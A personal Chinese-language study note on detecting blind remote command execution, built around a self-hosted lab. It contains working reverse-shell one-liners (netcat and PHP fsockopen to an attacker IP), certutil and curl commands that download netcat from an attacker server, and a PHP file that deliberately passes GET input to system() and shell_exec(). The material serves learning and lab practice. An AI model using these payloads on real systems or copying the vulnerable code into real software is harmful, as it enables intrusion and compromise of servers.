無回顯(小迪網路安全筆記~

19999er發表於2024-12-04

附:完整筆記目錄~
ps:本人小白,筆記均在個人理解基礎上整理,若有錯誤歡迎指正!

3.1 無回顯

  1. 概念

    無回顯常常在Web漏洞挖掘中被提到。是指當攻擊者控制目標系統執行命令時,目標並不會直接返回結果,造成攻擊者無法知曉自己的攻擊行為是否成功。

    那麼當聰明的攻擊者遇到這種情況該如何解決呢?

  2. DNSLog/ICMP-SizeLog/TCP-PortLog反連檢測

    1. 原理:DNSLog反連為最簡單也最常用的方法,控制目標伺服器對指定域名進行反連,並依據反連結果來判斷命令是否能成功執行。而後兩種方式則是對DNSLog的補充,解決思路基本一致均為反連檢測。

    2. 實現:Yakit整合了這三種反連檢測方式,GUI,直接用即可。

      image-20241129135003721

  3. 反彈Shell

    1. 原理:攻擊者控制目標伺服器主動將shell給到自己。

    2. 實現:判斷目標伺服器作業系統,使用nc進行反彈shell。Linux自帶nc,而Windows則需考慮如何將nc上傳至目標伺服器。(nc:Netcat,網路工具,用於讀寫網路中連線的資料)

      # 靶機Linux&Windows
      nc -e /bin/bash 攻擊者ip 埠號
      nc -e cmd 攻擊者ip 埠號
      # 將bash/cmd shell給到攻擊機
      
      # 攻擊機
      nc -lvp 埠號
      # -l,表示開啟監聽模式
      # -v,表示輸出詳細資訊
      # -p,表示監聽埠
      

      當然,還有很多工具/服務能實現反彈Shell,如python、powershell、php等。至於不同工具/服務的反彈命令,詳見:https://forum.ywhack.com/reverse-shell/。
      由於nc使用最為簡單,所以在基礎入門階段,本文僅使用nc進行展示。

  4. 延時檢測

    1. 原理:延時檢測指攻擊者透過觀察目標伺服器執行不同命令時的響應時間,來判斷命令是否被成功執行。

    2. 實現:控制目標主機先執行ping www.example.com記錄響應時間,再執行ping -n/-c 10 www.example.com並記錄響應時間。最終判斷後一命令響應時間是否約為前一命令的10倍,若是則證明命令被執行成功。

      # Windows傳送n次ping請求
      ping -n 次數 www.example.com
      # Linux傳送n次ping請求
      ping -c 次數 Www.example.com
      
  5. 檔案寫入&訪問

    1. 原理:利用命令執行在當前目錄或Web目錄下,寫入&建立一個新檔案。再嘗試訪問自己所創檔案,若能成功訪問則證明命令執行成功。

    2. 實現:

      # Windows&Liunx
      echo 19 > test.txt
      
  6. 檔案下載

    1. 原理:控制目標伺服器主動訪問並下載攻擊者指定遠端伺服器檔案,觀察遠端伺服器是否被訪問進而判斷命令是否被執行。
      可以看到與反連檢測類似,但還有一個作用。前面提到Windows並不會自帶nc,那麼透過這種方式是不是可以控制Windows遠端下載nc呢?

    2. 實現:

      # Windows
      certutil.exe -urlcache -split -f http://遠端伺服器ip:埠號/nc.exe nc.exe
      # Linux
      curl http://遠端伺服器ip:埠號/nc.exe -o nc.exe
      

      命令自動生成&更多命令,詳見:https://forum.ywhack.com/bountytips.php?download

  7. 實驗:

    使用php寫一個帶有RCE的Web(包含有回顯&無回顯),觀察命令執行後有回顯&無回顯的區別。

    若無回顯,則嘗試使用上述五種方式判斷命令是否被成功執行。

    1. 實驗開始,阿里雲租兩臺Linux伺服器,一臺為靶機,一臺為攻擊機。(我選擇的發行版為Ubuntu 20.04)

    2. 靶機部署安裝Apache+Php,並在網站根目錄下上傳實現RCE的php檔案

      # 安裝Apache+PHp
      # 更新軟體包索引
      sudo apt update
      
      sudo apt install apache2
      sudo systemctl start apache2
      
      sudo apt install php libapache2-mod-php
      

      安裝完成後,編寫並上傳實現RCE的php檔案。

      <?php
          # php實現RCE
          # 命令執行後有回顯
          system($_GET['c']);
      	# 無回顯
          shell_exec($_GET['c']);
      ?>
      
    3. 訪問該Php檔案,並觀察命令執行後有/無回顯的區別

      image-20241203105334085

    4. 若命令執行後無回顯,透過上述五種方式來驗證命令是否成功執行。

      image-20241130143315588

      image-20241130152843173

      # 附payload,本實驗使用版本php 7.4.3
      php -r '$sock=fsockopen("目標ip",埠號);$proc=proc_open("/bin/bash", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
      

      image-20241130154425892

      image-20241130161620177

      可以看到檔案被成功寫入,但感覺比較雞肋。
      Linux許可權控制嚴格,即使能RCE,但使用者許可權不一定為root。而僅有root才能在網站目錄下實現寫入操作,本實驗則是放通了other使用者對網站目錄的寫許可權才成功。因此該方法建議搭配檔案下載來實現。

      image-20241130164756123

    5. 至此,實驗結束!

相關文章